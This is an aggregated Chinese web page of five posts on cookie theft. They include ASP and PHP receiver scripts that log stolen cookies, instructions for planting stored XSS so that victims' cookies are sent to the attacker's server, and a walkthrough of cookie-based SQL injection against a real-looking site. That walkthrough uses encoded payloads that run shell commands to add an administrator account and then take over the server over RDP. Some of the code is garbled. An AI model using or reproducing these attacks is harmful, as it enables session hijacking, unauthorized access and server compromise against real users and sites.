下面小编为大家带来人性化的盗cookie脚本脚本安全,本文共5篇,希望大家能够受用!本文原稿由网友“mkiss520”提供。
篇1:人性化的盗cookie脚本
author: cnryan @hi.baidu.com/cnryan
cookie窃取是最常见的跨站攻击之一,不管是用img,iframe方式,还是基于入库型或非入库的XSS,整个操作只需要带Cookie浏览器请求了某个的url即可完成,
本人偏爱Image:
盗cookie脚本:
还是一个比较简单的程序,经过一点完善,在获取Cookie同时也记录的时间和IP,比较智能化与人性化,务求达到一个更好的用户体验>“<,呵呵!
get.asp code:
<%
dim getcookie
dim mytime
dim str
getcookie=Request.QueryString
getip=Request.ServerVariables(”REMOTE_ADDR“)
mytime=now
set fs=server.CreateObject(”Scripting.FileSystemObject“)
set file=fs.OpenTextFile(server.MapPath(”cookie.txt“),8,True)
str=”<-bof||“& mytime & ”||“ &getip & ”||“ & getcookie & ”||eof->“
file.writeline(str)
file.close
set file=nothing
set fs=nothing
response.write ”haha“
response.end
%>
篇2:推荐:另类的注射攻击cookie注射脚本安全
一、目标的锁定
MSN上朋友icerover发信息过来问我些关于cookie注射的问题,刚好那时读蚂蚁影院系统的代码,也正好发现了其chageusr.asp. 存在cookie注射漏洞,这里简要分析其代码:
====================code==========================
<% if request.cookies(”userid“)=”“ or request.cookies(”password“)=”“ then //首先要保证我们的cookie中userid和password的值不为空
response.write”“
response.write”“
end if
if request.cookies(”oktt“)=”yes“ then
response.write”“
response.write”“
end if
dim rs
dim sql
set rs=server.createobject(”adodb.recordset“)
sql=”select * from users where userid='“&request.cookies(”userid“)&”' and password='“&request.cookies(”password“)&”'“ //sql语句中可以看到userid和password的查询是来自客户端的cookie,并且没有验证
rs.open sql,conn,1,3
id=rs(”id“)
userid=rs(”userid“)
password=rs(”password“)
name=rs(”name“)
email=rs(”email“)
sex=rs(”sex“)
Province=rs(”Province“)
dat=rs(”date“)
%>
====================code==========================
通过上面的简要分析我们可以知道,userid和password并没有过滤,userid和password全来自客户端的cookie,所以我们只要在客户端中的cookie构造注射语句就可以进行注射.
怎么利用这里暂不介绍,下面会提到.
朋友告诉我,有一个站www.chinaxxx.net其member.asp存在cookie注射漏洞,其权限为sa.
二、渗透之旅
下面为其member.asp的代码:
====================code==========================
<%
Response.CacheControl = ”no-cache“
Email = Request.Cookies(”Email“)
Userid = Request.Cookies(”Userid“)
if Len(Email)=0 then Response.Redirect ”login.htm“
%>
<%
if Len(Email)>3 then
set bjConn = Server.CreateObject(”ADODB.Connection“)
objConn.Open strQ
strQ = ”select * from tb_users where usertype>0 and email='“ &Email & ”' and Userid=“ &Userid
set bjRs = Server.CreateObject(”ADODB.Recordset“)
objRs.Open strQ,objConn,1,3
if not objRs.EOF then
ExpDays = DateDiff(”d“,now(),objRs(”expdate“))
ExpDate = FormatDateTime(objRs(”expdate“),2)
Username = objRs(”Username“)
if ExpDays<=0 then
objRs(”usertype“) = 3
ExpDays = 0
else
objRs(”usertype“) = 9
end if
objRs.Update
%>
====================code==========================
通过上面的代码Userid = Request.Cookies(”Userid“)等等,我们可以知道其userid和email的值是来客户端的cookie,再跟踪一下会发现其cookie并没有过滤,而是
strQ = ”select * from tb_users where usertype>0 and email='“ &Email & ”' and Userid=“ &Userid
直接查询,所以这个时候我们只要在cookie里面构造正确的语句就可以搞定这个站点,sa权限可以让我们….嘿嘿
三、cookie注射注意点
1.;符号,在cookie里,各个变量间的是用;来区分的,所以你的注射语句里面不要乱含有;,如果你含有的话,可能会导致你的注射语句出错.
2.空格符号,在cookie里,会自动过滤掉空格,所以你的注射语句里面要注意转换
该注意的地方也差不多了,现在我们开始我们的注射之旅吧.
四、我注,我注,我注注注
其member.asp需要登陆,登陆后其cookie如下
Userid=5581;email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH
变换一下位置,方便注射
email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH; Userid=5581;
查一下版本:
把 and 1=(select @@version);--解码一下,转换如下:
%20%61%6E%64%20%31%3D%28%73%65%6C%65%63%74%20%40%40%76%65%72%73%69%6F%6E%29%3B%2D%2D
整个cookie变换成
email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH; Userid=5581%20%61%6E%64%20%31%3D%28%73%65%6C%65%63%74%20%40%40%76%65%72%73%69%6F%6E%29%3B%2D%2D
;
得到回显如图一:
扫描其端口发现开了3389,直接加个用户,注射如下:
转换语句:
;declare @s varchar(21) set @s='wscript.shell'declare @o int exec sp_oacreate @s,@o out exec sp_oamethod @o,'run',NULL,'net.exe user linzi linzihk /add';exec sp_oamethod @o,'run',NULL,'net.exe localgroup administrators linzi /add';--
如下:
%3B%64%65%63%6C%61%72%65%20%40%73%20%76%61%72%63%68%61%72%28%32%31%29%20%73%65%74%20%40%73%3D%27%77%73%63%72%69%70%74%2E%73%68%65%6C%6C%27%64%65%63%6C%61%72%65%20%40%6F%20%69%6E%74%20%65%78%65%63%20%73%70%5F%6F%61%63%72%65%61%74%65%20%40%73%2C%40%6F%20%6F%75%74%20%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%75%73%65%72%20%78%69%61%6F%6C%75%20%6C%69%6E%7A%69%68%6B%20%2F%61%64%64%27%3B%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%6C%6F%63%61%6C%67%72%6F%75%70%20%61%64%6D%69%6E%69%73%74%72%61%74%6F%72%73%20%78%69%61%6F%6C%75%20%2F%61%64%64%27%3B%2D%2D
修改cookie如下:
email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH; Userid=5581%3B%64%65%63%6C%61%72%65%20%40%73%20%76%61%72%63%68%61%72%28%32%31%29%20%73%65%74%20%40%73%3D%27%77%73%63%72%69%70%74%2E%73%68%65%6C%6C%27%64%65%63%6C%61%72%65%20%40%6F%20%69%6E%74%20%65%78%65%63%20%73%70%5F%6F%61%63%72%65%61%74%65%20%40%73%2C%40%6F%20%6F%75%74%20%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%75%73%65%72%20%78%69%61%6F%6C%75%20%6C%69%6E%7A%69%68%6B%20%2F%61%64%64%27%3B%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%6C%6F%63%61%6C%67%72%6F%75%70%20%61%64%6D%69%6E%69%73%74%72%61%74%6F%72%73%20%78%69%61%6F%6C%75%20%2F%61%64%64%27%3B%2D%2D;
得到回显如图二:
虽然显示占线,但已经执行成功,开了TS,直接用3389登陆器登上去,bingo!拿下站点.
五、总结:
无语,大家自己去体会!~~~
篇3:跨站提取cookie的原理脚本安全
个人理解为跨站就意味着可以执行javascript代码,javascript利用Document文档对象的cookie属性就获取到了cookie,然后就可能利用cookie欺骗登陆,
跨站提取cookie的原理 等价于
如何从在浏览器中获取cookie + 发送cookie到指定url
比如:
“>
依次使用了:
1.浏览器的DOM对象的cookie属性,获得了cookie值
2.将cookie值作为参数传递给localhost服务器上的test.php脚本,使用的是GET方式提交数据
3.利用document.location进行跳转,实际就是通过url访问实现数据提交
而test.php中的内容类似于:
$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$ip = getenv (‘REMOTE_ADDR’); //远程主机IP地址
$time=date(‘Y-m-d g:i:s’); //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv (‘HTTP_REFERER’); //链接来源
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型
$fp = fopen(‘cookie.txt’, ’a'); //打开cookie.txt,若不存在则创建它
fwrite($fp,” IP: ” .$ip. ”\\n Date and Time: ” .$time. ”\\n User Agent:”.$agent.”\\n Referer: ”.$referer.”\\n Cookie: ”.$cookie.”\\n\\n\\n”); //写入文件
fclose($fp); //关闭文件
header(“Location: www.baidu.com”); //将网页重定向到百度,增强隐蔽性
?>
这些用户数据来源于HTTP数据包中的浏览器头部信息
篇4:XSS获取cookie和利用方式 (PHP版)脚本安全
$cookie = $_GET['cookie']; //以GET方式获取cookie变量值$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址$time=date('Y-m-d g:i:s'); //以“年-月-日时:分:秒”的格式显示时间$referer=getenv ('HTTP_REFERER'); //链接来源$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它fwrite($fp,” IP: “ .$ip. ”n Date and Time: “ .$time. ”n User Agent:“.$agent.”n Referer: “.$referer.”n Cookie: “.$cookie.”nnn“); //写入文件fclose($fp); //关闭文件header(”Location: www.baidu.com“); //将网页重定向到百度,增强隐蔽性
将上述文件保存为cookie.php文件,放到你自己的网站服务器下,比如这里我们自己搭建的服务器为:www.cto365.com/cookie.php,
XSS构造语句为:
或者
将上述语句写入存在XSS的目标中(最好是存储型xss),比如你找到了某个博客或者论坛存在存储型XSS,你在里面发一篇帖子或者留上你的评论,内容就是上述语句,当其他用户或者管理员打开这个评论或者帖子链接后,XSS就会触发,然后跳转到www.cto365.com/cookie.php?msg=’+document.cookie的页面,之后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。
篇5:cookie.txt脚本适合,跨站,脚本安全
<%
dim fs,log,logname,event
logname=”cookie_“& now & ”.txt“
logname=replace(logname,” “,”_“)
logname=replace(logname,”-“,”_“)
logname=replace(logname,”:“,”.“)
logname=server.mappath(logname)
set event=request.servervariables(”QURYU_SRTING“)
set fs=server.createobject(”scripts.filesystemobject“)
log=fs.createtextfile(logname)
log.writeline event
log.close
set fs=nothing
reponse.redirect(”www.wolfexp.net/forum/index.php\")
%>
HOW TO GET PHPCMS WEBSHELL脚本安全
- 怎样用SQL生成XML脚本安全2023-01-13
- 服装宣传片脚本范文2022-12-12
- 大学宣传片脚本范文2023-01-28
- 寻找最短的跨站代码脚本安全2022-12-11
- thinkphp框架下mysql注入脚本安全2023-07-19
- python字符串处理常用技巧脚本安全2022-12-14
- Shell脚本实现ftok函数2023-01-25
- XSS(跨站脚本攻击) 逃避过滤脚本安全2025-03-16
- 某网站安全检测之数据库手工注入脚本安全2023-05-31
- 监控Oracle数据库的常用shell脚本数据库2023-12-31